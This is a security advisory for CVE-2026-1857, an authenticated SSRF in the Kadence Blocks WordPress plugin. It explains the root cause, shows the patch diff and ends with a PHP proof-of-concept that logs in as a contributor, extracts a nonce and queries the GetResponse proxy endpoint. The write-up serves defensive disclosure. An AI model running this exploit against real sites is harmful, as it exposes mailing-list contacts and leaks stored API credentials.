Atomic Edge analysis of CVE-2026-1857:
The Gutenberg Blocks with AI by Kadence WP plugin contains an authenticated Server-Side Request Forgery vulnerability in versions up to and including 3.6.1. The vulnerability resides in the GetResponse REST API handler, allowing users with Contributor-level permissions to trigger arbitrary server-side requests using stored API credentials. The CVSS score of 4.3 reflects the authenticated nature and limited scope of impact.
Atomic Edge research identified the root cause in the `get_items_permission_check()` function within `/kadence-blocks/includes/advanced-form/getresponse-rest-api.php`. The function previously returned `current_user_can(‘edit_posts’)` on line 62, granting access to users with Contributor role or higher. The vulnerable `get_items()` function accepted an `endpoint` parameter without validation, allowing arbitrary path injection into the constructed API request URL on line 74. Attackers could control the `$end_point` variable appended to the base API URL.
Exploitation requires an authenticated WordPress user with at least Contributor permissions. Attackers send a POST request to the REST API endpoint `/wp-json/kadence-blocks/v1/getresponse/` with the `endpoint` parameter containing arbitrary paths. The plugin then proxies these requests to the configured GetResponse API server using stored credentials. Attackers can enumerate sensitive data like contacts, campaigns, and mailing lists. The API key leaks in request headers during these proxied calls.
The patch implements two security controls. First, the permission check in `get_items_permission_check()` now requires `current_user_can(‘manage_options’)` (Administrator only) instead of `edit_posts`. Second, the `get_items()` function validates the `endpoint` parameter against a new `ALLOWED_ENDPOINTS` constant containing only ‘campaigns’, ‘tags’, and ‘custom-fields’. Any endpoint value not in this whitelist triggers a 400 error. These changes restrict access to administrators and limit requestable paths to legitimate API resources.
Successful exploitation exposes sensitive GetResponse account data including contact lists, campaign details, and custom fields. The stored API credentials transmit with each request, potentially allowing attackers to hijack the connected GetResponse account. While the vulnerability does not enable arbitrary external SSRF, it permits unauthorized access to all data accessible via the configured GetResponse API token. This could lead to data exfiltration, privacy violations, and unauthorized use of marketing resources.
--- a/kadence-blocks/includes/advanced-form/getresponse-rest-api.php
+++ b/kadence-blocks/includes/advanced-form/getresponse-rest-api.php
@@ -18,6 +18,13 @@
*/
const PROP_END_POINT = 'endpoint';
+ /**
+ * Allowed endpoint values to prevent SSRF (only these paths are requested from the configured API base).
+ *
+ * @var string[]
+ */
+ const ALLOWED_ENDPOINTS = array( 'campaigns', 'tags', 'custom-fields' );
+
/**
* Constructor.
@@ -48,15 +55,22 @@
}
/**
- * Checks if a given request has access to search content.
- *
+ * Checks if a given request has access to proxy GetResponse API calls.
+ * Requires manage_options so only admins (who can configure the API key) can trigger server-side requests.
*
* @param WP_REST_Request $request Full details about the request.
*
- * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
+ * @return true|WP_Error True if the request has access, WP_Error object otherwise.
*/
public function get_items_permission_check( $request ) {
- return current_user_can( 'edit_posts' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to access GetResponse API data.', 'kadence-blocks' ),
+ array( 'status' => 403 )
+ );
+ }
+ return true;
}
/**
@@ -71,8 +85,17 @@
$api_base = get_option( 'kadence_blocks_getresponse_api_endpoint' );
$end_point = $request->get_param( self::PROP_END_POINT );
+ // Restrict to whitelisted endpoints to prevent SSRF (e.g. requesting arbitrary URLs that echo back auth headers or server IP).
+ if ( empty( $end_point ) || ! in_array( $end_point, self::ALLOWED_ENDPOINTS, true ) ) {
+ return new WP_Error(
+ 'rest_invalid_endpoint',
+ __( 'Invalid or disallowed endpoint.', 'kadence-blocks' ),
+ array( 'status' => 400 )
+ );
+ }
+
if ( empty( $api_key ) || empty( $api_base ) ) {
- return array();
+ return rest_ensure_response( array() );
}
$request_url = rtrim( $api_base, '/' ) . '/' . $end_point;
--- a/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
+++ b/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
@@ -791,6 +791,11 @@
// Verify if the AJAX call is valid (checks nonce and current_user_can).
$this->verify_ajax_call();
+ // Require upload capability to prevent contributors from uploading to media library via this endpoint.
+ if ( ! current_user_can( 'upload_files' ) ) {
+ wp_send_json_error( esc_html__( 'You do not have permission to upload files.', 'kadence-blocks' ) );
+ }
+
$content = empty( $_POST['import_content'] ) ? '' : stripslashes( $_POST['import_content'] );
$image_library = empty( $_POST['image_library'] ) ? '' : json_decode( $_POST['image_library'], true );
$data = $this->process_image_content( $content, $image_library );
--- a/kadence-blocks/kadence-blocks.php
+++ b/kadence-blocks/kadence-blocks.php
@@ -1,11 +1,11 @@
<?php
/**
- * Plugin Name: Kadence Blocks – Gutenberg Blocks for Page Builder Features
+ * Plugin Name: Kadence Blocks — Page Builder Toolkit for Gutenberg Editor
* Plugin URI: https://www.kadencewp.com/product/kadence-gutenberg-blocks/
* Description: Advanced Page Building Blocks for Gutenberg. Create custom column layouts, backgrounds, dual buttons, icons etc.
* Author: Kadence WP
* Author URI: https://www.kadencewp.com
- * Version: 3.6.1
+ * Version: 3.6.2
* Requires PHP: 7.4
* Text Domain: kadence-blocks
* License: GPL2+
@@ -20,7 +20,7 @@
}
define( 'KADENCE_BLOCKS_PATH', realpath( plugin_dir_path( __FILE__ ) ) . DIRECTORY_SEPARATOR );
define( 'KADENCE_BLOCKS_URL', plugin_dir_url( __FILE__ ) );
-define( 'KADENCE_BLOCKS_VERSION', '3.6.1' );
+define( 'KADENCE_BLOCKS_VERSION', '3.6.2' );
require_once plugin_dir_path( __FILE__ ) . 'vendor/vendor-prefixed/autoload.php';
require_once plugin_dir_path( __FILE__ ) . 'vendor/autoload.php';
--- a/kadence-blocks/vendor/composer/installed.php
+++ b/kadence-blocks/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'kadencewp/kadence-blocks',
- 'pretty_version' => '3.6.1',
- 'version' => '3.6.1.0',
- 'reference' => '69e30f3a83effbb790afbf024fea3159c3040c59',
+ 'pretty_version' => '3.6.2',
+ 'version' => '3.6.2.0',
+ 'reference' => 'a94192be667184c730a46e42290c8d8983b1a52b',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -47,9 +47,9 @@
'dev_requirement' => false,
),
'kadencewp/kadence-blocks' => array(
- 'pretty_version' => '3.6.1',
- 'version' => '3.6.1.0',
- 'reference' => '69e30f3a83effbb790afbf024fea3159c3040c59',
+ 'pretty_version' => '3.6.2',
+ 'version' => '3.6.2.0',
+ 'reference' => 'a94192be667184c730a46e42290c8d8983b1a52b',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1857 - Gutenberg Blocks with AI by Kadence WP <= 3.6.1 - Authenticated (Contributor+) Server-Side Request Forgery via 'endpoint' Parameter
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1857');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from admin page (required for REST API authentication)
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null,
CURLOPT_HTTPGET => true
]);
$admin_page = curl_exec($ch);
// Extract nonce from page (simplified pattern - real implementation would need proper parsing)
preg_match('/"kadenceBlocksRestConfig":{.*?"nonce":"([a-f0-9]+)"/s', $admin_page, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Exploit SSRF via GetResponse REST endpoint
$api_url = $target_url . '/wp-json/kadence-blocks/v1/getresponse/';
// Attempt to retrieve sensitive data - campaigns endpoint is legitimate but requires admin permissions
// Attackers can try other paths like 'contacts', 'mailing-lists', or arbitrary paths
$payload = ['endpoint' => 'campaigns'];
curl_setopt_array($ch, [
CURLOPT_URL => $api_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
],
CURLOPT_RETURNTRANSFER => true
]);
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
echo "Response: $api_responsen";
// Step 4: Cleanup
curl_close($ch);
unlink($cookie_file);
?>